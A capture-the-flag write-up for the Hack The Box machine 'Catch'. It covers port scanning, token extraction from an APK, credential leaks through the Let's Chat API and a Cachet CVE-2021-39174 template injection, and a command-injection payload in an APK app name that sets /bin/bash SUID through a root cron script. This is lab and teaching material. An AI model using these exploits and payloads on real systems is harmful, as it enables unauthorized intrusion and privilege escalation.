Catch
9 minutes to read
- OS: Linux
- Difficulty: Medium
- IP Address: 10.10.11.150
- Release: 12 / 03 / 2022
Port scanning
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.150 -p 22,80,3000,5000,8000
Nmap scan report for 10.10.11.150
Host is up (0.086s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Catch Global Systems
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: i_like_gitea=c4add8273ad10169; Path=/; HttpOnly
| Set-Cookie: _csrf=mnsU0O5Ra5DDvk5hMde46oeBYXA6MTY1ODE3MDcyNzUxMDc4MTQ0Mg; Path=/; Expires=Tue, 19 Jul 2022 18:58:47 GMT; HttpOnly; SameSite=Lax
| Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date:
| <!DOCTYPE html>
| <html lang="en-US" class="theme-">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title> Catch Repositories </title>
| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiQ2F0Y2ggUmVwb3NpdG9yaWVzIiwic2hvcnRfbmFtZSI6IkNhdGNoIFJlcG9zaXRvcmllcyIsInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jYXRjaC5odGI6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLmNhdGNoLmh0Yjoz
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Set-Cookie: i_like_gitea=a52174aa7176ecac; Path=/; HttpOnly
| Set-Cookie: _csrf=HmeoQlGnj2FP7rgeJT-YACIGwbk6MTY1ODE3MDczMzE2MjUyNDQ4Ng; Path=/; Expires=Tue, 19 Jul 2022 18:58:53 GMT; HttpOnly; SameSite=Lax
| Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Mon, 18 Jul 2022 18:58:53 GMT
|_ Content-Length: 0
5000/tcp open upnp?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, SMBProgNeg, ZendJavaBridge:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 302 Found
| X-Frame-Options: SAMEORIGIN
| X-Download-Options: noopen
| X-Content-Type-Options: nosniff
| X-XSS-Protection: 1; mode=block
| Content-Security-Policy:
| X-Content-Security-Policy:
| X-WebKit-CSP:
| X-UA-Compatible: IE=Edge,chrome=1
| Location: /login
| Vary: Accept, Accept-Encoding
| Content-Type: text/plain; charset=utf-8
| Content-Length: 28
| Set-Cookie: connect.sid=s%3AJOtQ3i7EmG91-WEf4EQIm57CDg8l6Qvt.wqsCV4JfUvlp54pre9ayq1zvMjJdCQVYMGfc%2BBkKKPA; Path=/; HttpOnly
| Date:
| Connection: close
| Found. Redirecting to /login
| HTTPOptions:
| HTTP/1.1 200 OK
| X-Frame-Options: SAMEORIGIN
| X-Download-Options: noopen
| X-Content-Type-Options: nosniff
| X-XSS-Protection: 1; mode=block
| Content-Security-Policy:
| X-Content-Security-Policy:
| X-WebKit-CSP:
| X-UA-Compatible: IE=Edge,chrome=1
| Allow: GET,HEAD
| Content-Type: text/html; charset=utf-8
| Content-Length: 8
| ETag: W/"8-ZRAf8oNBS3Bjb/SU2GYZCmbtmXg"
| Set-Cookie: connect.sid=s%3AMV6FPc2fj8xR1N8MB0sdWFGVlKpMTVRw.Nfg63NvC%2FRxP6po46sBGOZ1w2DhldLydbieGNTsj8VE; Path=/; HttpOnly
| Vary: Accept-Encoding
| Date:
| Connection: close
|_ GET,HEAD
8000/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Catch Global Systems
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 97.06 seconds
This machine has ports 22 (SSH), 80, 3000, 5000 and 8000 (HTTP) open.
Enumeration
If we go to http://10.10.11.150
, we will see this website:
APK analysis
Here we can download an APK file called catchv1.0.apk
. Let’s start MobSF and upload the APK file:
Here we can see a subdomain: status.catch.htb
, but it contains the same website as above.
Taking a look at the strings, we get three authentication tokens:
Maybe we can authenticate to some service using these tokens.
Web enumeration
Actually, http://10.10.11.150:3000
shows a Gitea instance:
Then http://10.10.11.150:5000
is for Let’s Chat:
And finally http://10.10.11.150:8000
is for Cachet:
API enumeration
Eventually, we will find out that Let’s Chat is has an API available with the following endpoints (more information in github.com):
Using the lets_chat_token
in the Authorization
request header, we can read information of some rooms from Let’s Chat:
$ token='NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ=='
$ curl 10.10.11.150:5000/rooms -sH "Authorization: Bearer $token" | jq
[
{
"id": "61b86b28d984e2451036eb17",
"slug": "status",
"name": "Status",
"description": "Cachet Updates and Maintenance",
"lastActive": "2021-12-14T10:34:20.749Z",
"created": "2021-12-14T10:00:08.384Z",
"owner": "61b86aead984e2451036eb16",
"private": false,
"hasPassword": false,
"participants": []
},
{
"id": "61b8708efe190b466d476bfb",
"slug": "android_dev",
"name": "Android Development",
"description": "Android App Updates, Issues & More",
"lastActive": "2021-12-14T10:24:21.145Z",
"created": "2021-12-14T10:23:10.474Z",
"owner": "61b86aead984e2451036eb16",
"private": false,
"hasPassword": false,
"participants": []
},
{
"id": "61b86b3fd984e2451036eb18",
"slug": "employees",
"name": "Employees",
"description": "New Joinees, Org updates",
"lastActive": "2021-12-14T10:18:04.710Z",
"created": "2021-12-14T10:00:31.043Z",
"owner": "61b86aead984e2451036eb16",
"private": false,
"hasPassword": false,
"participants": []
}
]
To extract the room identifiers I will be using gron
:
$ curl 10.10.11.150:5000/rooms -sH "Authorization: Bearer $token" | gron | grep '\.id' | norg
[
{
"id": "61b86b28d984e2451036eb17"
},
{
"id": "61b8708efe190b466d476bfb"
},
{
"id": "61b86b3fd984e2451036eb18"
}
]
Foothold
With a room ID, we can get all messages and take the contents (text
key):
$ curl 10.10.11.150:5000/rooms/61b86b28d984e2451036eb17/messages -sH "Authorization: Bearer $token" | gron | grep text | norg
[
{
"text": "ah sure!"
},
{
"text": "You should actually include this task to your list as well as a part of quarterly audit"
},
{
"text": "Also make sure we've our systems, applications and databases up-to-date."
},
{
"text": "Excellent! "
},
{
"text": "Why not. We've this in our todo list for next quarter"
},
{
"text": "@john is it possible to add SSL to our status domain to make sure everything is secure ? "
},
{
"text": "Here are the credentials `john : E}V!mywu_69T4C}W`"
},
{
"text": "Sure one sec."
},
{
"text": "Can you create an account for me ? "
},
{
"text": "Hey Team! I'll be handling the `status.catch.htb` from now on. Lemme know if you need anything from me. "
}
]
Password reuse in Cachet
And there we have a password for john
: E}V!mywu_69T4C}W
. If we try these credentials in other services, we will find out that they are valid for Cachet (http://10.10.11.150:8000
):
If we go to “Settings”, we will discover that it is running Cachet version 2.4.0-dev:
At this point, we can search for vulnerabilities that affect this version. Actually, there are three: CVE-2021-39172, CVE-2021-39173 and CVE-2021-39174. The three of them are explained thoroughly at blog.sonarsource.com.
CVE exploitation
We can exploit the last one, which consists of leaking environment variables (loaded in a .env
file) using syntax ${NAME}
in the mail configuration (Server-Side Template Injection). After using ${DB_USERNAME}
and ${DB_PASSWORD}
(as stated in blog.sonarsource.com), we will leak a username (will
) and a password (s2#4Fg0_%3!
):
Unexpectedly, these credentials are valid to connect to the machine using SSH, and we can get user.txt
flag:
$ ssh will@10.10.11.150
will@10.10.11.150's password:
will@catch:~$ cat user.txt
6b9bf0acbbabd8de17ed0af217914b47
System enumeration
After doing basic enumeration, we can enumerate processes using pspy
and see a script running as root
periodically:
CMD: UID=0 PID=30203 | /bin/bash /opt/mdm/verify.sh
CMD: UID=0 PID=30208 | openssl rand -hex 12
CMD: UID=0 PID=30209 | mv /opt/mdm/apk_bin/*.apk /root/mdm/apk_bin/7b5167a7e62e3fdbaea84162.apk
CMD: UID=0 PID=30210 | jarsigner -verify /root/mdm/apk_bin/7b5167a7e62e3fdbaea84162.apk
CMD: UID=0 PID=30230 | /bin/bash /opt/mdm/verify.sh
CMD: UID=0 PID=30233 | grep -v verify.sh
CMD: UID=0 PID=30232 | grep -v apk_bin
CMD: UID=0 PID=30231 | ls -A /opt/mdm
CMD: UID=0 PID=30237 | /usr/sbin/CRON -f
CMD: UID=0 PID=30236 | /usr/sbin/CRON -f
CMD: UID=0 PID=30239 | /bin/sh -c rm -rf /root/mdm/certified_apps/*
CMD: UID=0 PID=30238 | /bin/sh -c rm -rf /root/mdm/certified_apps/*
CMD: UID=0 PID=30240 |
CMD: UID=0 PID=30241 | /bin/bash /opt/mdm/verify.sh
CMD: UID=0 PID=30247 | jarsigner -verify /root/mdm/apk_bin/bf97a421280379d4c67f58ca.apk
Let’s analyze the source code for /opt/mdm/verify.sh
, which is a Bash script:
#!/bin/bash
###################
# Signature Check #
###################
sig_check() {
jarsigner -verify "$1/$2" 2>/dev/null >/dev/null
if [[ $? -eq 0 ]]; then
echo '[+] Signature Check Passed'
else
echo '[!] Signature Check Failed. Invalid Certificate.'
cleanup
exit
fi
}
#######################
# Compatibility Check #
#######################
comp_check() {
apktool d -s "$1/$2" -o $3 2>/dev/null >/dev/null
COMPILE_SDK_VER=$(grep -oPm1 "(?<=compileSdkVersion=\")[^\"]+" "$PROCESS_BIN/AndroidManifest.xml")
if [ -z "$COMPILE_SDK_VER" ]; then
echo '[!] Failed to find target SDK version.'
cleanup
exit
else
if [ $COMPILE_SDK_VER -lt 18 ]; then
echo "[!] APK Doesn't meet the requirements"
cleanup
exit
fi
fi
}
####################
# Basic App Checks #
####################
app_check() {
APP_NAME=$(grep -oPm1 "(?<=<string name=\"app_name\">)[^<]+" "$1/res/values/strings.xml")
echo $APP_NAME
if [[ $APP_NAME == *"Catch"* ]]; then
echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}'
mv "$3/$APK_NAME" "$2/$APP_NAME/$4"
else
echo "[!] App doesn't belong to Catch Global"
cleanup
exit
fi
}
###########
# Cleanup #
###########
cleanup() {
rm -rf $PROCESS_BIN;rm -rf "$DROPBOX/*" "$IN_FOLDER/*";rm -rf $(ls -A /opt/mdm | grep -v apk_bin | grep -v verify.sh)
}
###################
# MDM CheckerV1.0 #
###################
DROPBOX=/opt/mdm/apk_bin
IN_FOLDER=/root/mdm/apk_bin
OUT_FOLDER=/root/mdm/certified_apps
PROCESS_BIN=/root/mdm/process_bin
for IN_APK_NAME in $DROPBOX/*.apk;do
OUT_APK_NAME="$(echo ${IN_APK_NAME##*/} | cut -d '.' -f1)_verified.apk"
APK_NAME="$(openssl rand -hex 12).apk"
if [[ -L "$IN_APK_NAME" ]]; then
exit
else
mv "$IN_APK_NAME" "$IN_FOLDER/$APK_NAME"
fi
sig_check $IN_FOLDER $APK_NAME
comp_check $IN_FOLDER $APK_NAME $PROCESS_BIN
app_check $PROCESS_BIN $OUT_FOLDER $IN_FOLDER $OUT_APK_NAME
done
cleanup
Basically, it takes every APK file at /opt/mdm/apk_bin
and applies functions sig_check
, comp_check
and app_check
on them:
sig_check
makes use ofjarsigner
to check that the APK file has a valid signature; otherwise, it exitscomp_check
readsAndroidManifest.xml
after extracting files withapktool
in order to verify that the Android SDK version is at least 18app_check
readsres/values/strings.xml
and checks that the string"Catch"
is contained within theapp_name
string. If this occurs, it will execute these lines of code:
APP_NAME=$(grep -oPm1 "(?<=<string name=\"app_name\">)[^<]+" "$1/res/values/strings.xml")
echo $APP_NAME
if [[ $APP_NAME == *"Catch"* ]]; then
echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}'
mv "$3/$APK_NAME" "$2/$APP_NAME/$4"
# ...
fi
Privilege escalation
The only thing we can control on this Bash script is $APP_NAME
. In fact, the code is vulnerable to command injection because there is no double quotes surrounding $APP_NAME
. This can lead to command injection, here’s a simple proof of concept:
$ APP_NAME='Catch | whoami'
$ echo $APP_NAME | xargs -I {} sh -c 'echo {}'
rocky
So we can take the APK file we got at the beginning, extract its content using apktool
, modify the app_name
accordingly and build it again with apktool
:
$ apktool d catchv1.0.apk
I: Using Apktool 2.6.1 on catchv1.0.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: ~/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
$ vim app_name catchv1.0/res/values/strings.xml
$ grep app_name catchv1.0/res/values/strings.xml
<string name="app_name">Catch | chmod 4755 /bin/bash; echo </string>
$ apktool b catchv1.0
I: Using Apktool 2.6.1
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
I: Building apk file...
I: Copying unknown files/dir...
I: Built apk...
With the payload above we will attempt to set /bin/bash
as a SUID binary. So once we put the APK file at /opt/mdm/apk_bin
and root
executes the Bash script, /bin/bash
should be SUID:
will@catch:/tmp$ cd /opt/mdm/apk_bin
will@catch:/opt/mdm/apk_bin$ ls -l --time-style=+ /bin/bash
-rwxr-xr-x 1 root root 1183448 /bin/bash
will@catch:/opt/mdm/apk_bin$ wget -q 10.10.17.44/catchv1.0.apk
will@catch:/opt/mdm/apk_bin$ ls -l --time-style=+
total 2724
drwxrwx--x+ 2 root root 4096 ./
drwxr-x--x+ 3 root root 4096 ../
-rw-rw-r-- 1 will will 2778468 catchv1.0.apk
will@catch:/opt/mdm/apk_bin$ ls -l --time-style=+ /bin/bash
-rwsr-xr-x 1 root root 1183448 /bin/bash
Alright, so we can run Bash as root
:
will@catch:/opt/mdm/apk_bin$ bash -p
bash-5.0# cat /root/root.txt
a4be51d5332126cbbb61423f2233f0a4